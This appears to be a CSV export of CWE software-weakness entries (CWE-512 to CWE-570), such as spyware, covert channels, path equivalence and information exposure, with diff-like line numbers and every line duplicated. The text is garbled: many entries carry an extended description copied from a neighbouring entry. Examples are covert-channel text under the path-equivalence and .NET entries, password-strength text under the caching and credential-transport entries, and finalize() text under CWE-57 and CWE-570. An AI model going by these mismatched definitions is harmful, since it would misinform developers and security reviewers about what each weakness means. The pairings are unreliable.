1462 When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.",,unclassified,Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/
1462 When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.",,unclassified,Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/
14631463 CWE-512,Spyware (Type: Base),"The software collects personally identifiable information about a human user or the user's activities, but the software accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the software.
1464 ""Spyware"" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.",,unclassified,
1464 ""Spyware"" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.",,unclassified,
14651465 CWE-514,Covert Channel (Type: Class),"A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.
1466 Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.",,unclassified,
1466 Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.",,unclassified,
14671467 CWE-516,DEPRECATED (Duplicate): Covert Timing Channel (Type: Base),"This weakness can be found at CWE-385.
1468 Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.",,unclassified,
1468 Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.",,unclassified,
14691469 CWE-52,Path Equivalence: /multiple/trailing/slash// (Type: Variant),"A software system that accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1470 Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.",,unclassified,
1470 Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.",,unclassified,
14711471 CWE-520,.NET Misconfiguration: Use of Impersonation (Type: Variant),"Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.
1472 Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.",,unclassified,
1472 Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.",,unclassified,
14731473 CWE-521,Weak Password Requirements (Type: Base),"The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.
1474 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
1474 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
14751475 CWE-522,Insufficiently Protected Credentials (Type: Base),"This weakness occurs when the application transmits or stores authentication credentials and uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1476 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
1476 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
14771477 CWE-523,Unprotected Transport of Credentials (Type: Variant),"Login pages not using adequate measures to protect the user name and password while they are in transit from the client to the server.
1478 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,
1478 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,
14791479 CWE-524,Information Exposure Through Caching (Type: Variant),"The application uses a cache to maintain a pool of objects, threads, connections, pages, or passwords to minimize the time it takes to access them or the resources to which they connect. If implemented improperly, these caches can allow access to unauthorized information or cause a denial of service vulnerability.
1480 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,
1480 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,
14811481 CWE-525,Information Exposure Through Browser Caching (Type: Variant),"For each web page, the application should have an appropriate caching policy specifying the extent to which the page and its form fields should be cached.
1482 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,
1482 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,
14831483 CWE-526,Information Exposure Through Environmental Variables (Type: Variant),"Environmental variables may contain sensitive information about a remote server.
1484 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,
1484 An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.",,unclassified,
14851485 CWE-527,Exposure of CVS Repository to an Unauthorized Control Sphere (Type: Variant),"The product stores a CVS repository in a directory or other container that is accessible to actors outside of the intended control sphere.
1486 Information contained within a CVS subdirectory on a web server or other server could be recovered by an attacker and used for malicious purposes. This information may include usernames, filenames, path root, and IP addresses.",,unclassified,
1486 Information contained within a CVS subdirectory on a web server or other server could be recovered by an attacker and used for malicious purposes. This information may include usernames, filenames, path root, and IP addresses.",,unclassified,
14871487 CWE-528,Exposure of Core Dump File to an Unauthorized Control Sphere (Type: Variant),"The product generates a core dump file in a directory that is accessible to actors outside of the intended control sphere.
1488 Information contained within a CVS subdirectory on a web server or other server could be recovered by an attacker and used for malicious purposes. This information may include usernames, filenames, path root, and IP addresses.",,unclassified,
1488 Information contained within a CVS subdirectory on a web server or other server could be recovered by an attacker and used for malicious purposes. This information may include usernames, filenames, path root, and IP addresses.",,unclassified,
14891489 CWE-529,Exposure of Access Control List Files to an Unauthorized Control Sphere (Type: Variant),"The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.
1490 Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.",,unclassified,
1490 Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.",,unclassified,
14911491 CWE-53,Path Equivalence: \multiple\\internal\backslash (Type: Variant),"A software system that accepts path input in the form of multiple internal backslash ('\multiple\trailing\\slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1492 Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.",,unclassified,
1492 Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.",,unclassified,
14931493 CWE-530,Exposure of Backup File to an Unauthorized Control Sphere (Type: Variant),"A backup file is stored in a directory that is accessible to actors outside of the intended control sphere.
1494 Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.",,unclassified,
1494 Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.",,unclassified,
14951495 CWE-531,Information Exposure Through Test Code (Type: Variant),"Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.
1496 Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.",,unclassified,
1496 Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.",,unclassified,
14971497 CWE-533,Information Exposure Through Server Log Files (Type: Variant),"A server.log file was found. This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
1498 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
1498 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
14991499 CWE-534,Information Exposure Through Debug Log Files (Type: Variant),"The application does not sufficiently restrict access to a log file that is used for debugging.
1500 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
1500 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
15011501 CWE-535,Information Exposure Through Shell Error Message (Type: Variant),"A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.
1502 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
1502 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
15031503 CWE-536,Information Exposure Through Servlet Runtime Error Message (Type: Variant),"A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.
1504 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
1504 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
15051505 CWE-537,Information Exposure Through Java Runtime Error Message (Type: Variant),"In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.
1506 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
1506 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,
15071507 CWE-538,File and Directory Information Exposure (Type: Base),"The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere.
1508 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 12: Information Leakage."" Page 191"
1508 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 12: Information Leakage."" Page 191"
15091509 CWE-539,Information Exposure Through Persistent Cookies (Type: Variant),"Persistent cookies are cookies that are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.
1510 Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session Identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory, and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.",,unclassified,
1510 Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session Identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory, and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.",,unclassified,
15111511 CWE-54,Path Equivalence: filedir\ (Trailing Backslash) (Type: Variant),"A software system that accepts path input in the form of trailing backslash ('filedir\') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1512 Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session Identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory, and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.",,unclassified,
1512 Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session Identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory, and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.",,unclassified,
15131513 CWE-540,Information Exposure Through Source Code (Type: Variant),"Source code on a web server often contains sensitive information and should generally not be accessible to users.
1514 There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.",,unclassified,
1514 There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.",,unclassified,
15151515 CWE-541,Information Exposure Through Include Source Code (Type: Variant),"If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.
1516 There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.",,unclassified,
1516 There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.",,unclassified,
15171517 CWE-542,Information Exposure Through Cleanup Log Files (Type: Variant),"The application does not properly protect or delete a log file related to cleanup.
1518 There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.",,unclassified,
1518 There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.",,unclassified,
15191519 CWE-543,Use of Singleton Pattern Without Synchronization in a Multithreaded Context (Type: Variant),"The software uses the singleton pattern when creating a resource within a multithreaded environment.
1520 The use of a singleton pattern may not be thread-safe.",,unclassified,Thread-Specifc Storage for C/C++: http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf
1520 The use of a singleton pattern may not be thread-safe.",,unclassified,Thread-Specifc Storage for C/C++: http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf
15211521 CWE-544,Missing Standardized Error Handling Mechanism (Type: Base),"The software does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.
1522 If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.",,unclassified,
1522 If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.",,unclassified,
15231523 CWE-545,Use of Dynamic Class Loading (Type: Variant),"Dynamically loaded code has the potential to be malicious.
1524 If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.",,unclassified,
1524 If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.",,unclassified,
15251525 CWE-546,Suspicious Comment (Type: Variant),"The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.
1526 Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.",,unclassified,
1526 Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.",,unclassified,
15271527 CWE-547,"Use of Hard-coded, Security-relevant Constants (Type: Variant)","The program uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.
1528 If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.",,unclassified,
1528 If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.",,unclassified,
15291529 CWE-548,Information Exposure Through Directory Listing (Type: Variant),"A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.
1530 A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.",,unclassified,
1530 A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.",,unclassified,
15311531 CWE-549,Missing Password Field Masking (Type: Variant),"The software does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.
1532 A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
1532 A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
15331533 CWE-55,Path Equivalence: /./ (Single Dot Directory) (Type: Variant),"A software system that accepts path input in the form of single dot directory exploit ('/./') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1534 A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.",,unclassified,
1534 A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.",,unclassified,
15351535 CWE-550,Information Exposure Through Server Error Message (Type: Variant),"Certain conditions, such as network failure, will cause a server error message to be displayed.
1536 While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.",,unclassified,
1536 While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.",,unclassified,
15371537 CWE-551,Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (Type: Base),"If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.
1538 For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.",,unclassified,
1538 For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.",,unclassified,
15391539 CWE-552,Files or Directories Accessible to External Parties (Type: Base),"Files or directories are accessible in the environment that should not be.
1540 For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.",,unclassified,
1540 For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.",,unclassified,
15411541 CWE-553,Command Shell in Externally Accessible Directory (Type: Variant),"A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.
1542 For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.",,unclassified,
1542 For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.",,unclassified,
15431543 CWE-554,ASP.NET Misconfiguration: Not Using Input Validation Framework (Type: Variant),"The ASP.NET application does not use an input validation framework.
1544 For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.",,unclassified,
1544 For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.",,unclassified,
15451545 CWE-555,J2EE Misconfiguration: Plaintext Password in Configuration File (Type: Variant),"The J2EE application stores a plaintext password in a configuration file.
1546 Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.",,unclassified,
1546 Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.",,unclassified,
15471547 CWE-556,ASP.NET Misconfiguration: Use of Identity Impersonation (Type: Variant),"Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.
1548 The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.",,unclassified,
1548 The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.",,unclassified,
15491549 CWE-558,Use of getlogin() in Multithreaded Application (Type: Variant),"The application uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.
1550 The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.",,unclassified,
1550 The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.",,unclassified,
15511551 CWE-56,Path Equivalence: filedir* (Wildcard) (Type: Variant),"A software system that accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1552 The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.",,unclassified,
1552 The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.",,unclassified,
15531553 CWE-560,Use of umask() with chmod-style Argument (Type: Variant),"The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().
1554 The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.",,unclassified,
1554 The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.",,unclassified,
15551555 CWE-561,Dead Code (Type: Variant),"The software contains dead code, which can never be executed.
1556 Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.",,unclassified,
1556 Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.",,unclassified,
15571557 CWE-562,Return of Stack Variable Address (Type: Base),"A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.
1558 Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.",,unclassified,
1558 Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.",,unclassified,
15591559 CWE-563,Unused Variable (Type: Variant),"The variable's value is assigned but never used, making it a dead store.
1560 It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.",,unclassified,
1560 It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.",,unclassified,
15611561 CWE-564,SQL Injection: Hibernate (Type: Variant),"Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
1562 It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.",,unclassified,
1562 It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.",,unclassified,
15631563 CWE-565,Reliance on Cookies without Validation and Integrity Checking (Type: Base),"The application relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.
1564 Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.",,unclassified,
1564 Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.",,unclassified,
15651565 CWE-566,Authorization Bypass Through User-Controlled SQL Primary Key (Type: Variant),"The software uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.
15661566 When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.
15671567 Database access control errors occur when:
15681568 Data enters a program from an untrusted source.
15691569 The data is used to specify the value of a primary key in a SQL query.
1570 The untrusted source does not have the permissions to be able to access all rows in the associated table.",,unclassified,
1570 The untrusted source does not have the permissions to be able to access all rows in the associated table.",,unclassified,
15711571 CWE-567,Unsynchronized Access to Shared Data in a Multithreaded Context (Type: Base),"The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
15721572 Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.
1573 Note that this weakness is not unique to servlets.",,unclassified,
1573 Note that this weakness is not unique to servlets.",,unclassified,
15741574 CWE-568,finalize() Method Without super.finalize() (Type: Variant),"The software contains a finalize() method that does not call super.finalize().
1575 The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().",,unclassified,
1575 The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().",,unclassified,
15761576 CWE-57,Path Equivalence: fakedir/../realdir/filename (Type: Variant),"The software contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.
1577 The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().",,unclassified,
1577 The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().",,unclassified,
15781578 CWE-570,Expression is Always False (Type: Variant),"The software contains an expression that will always evaluate to false.
1579 The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().",,unclassified,
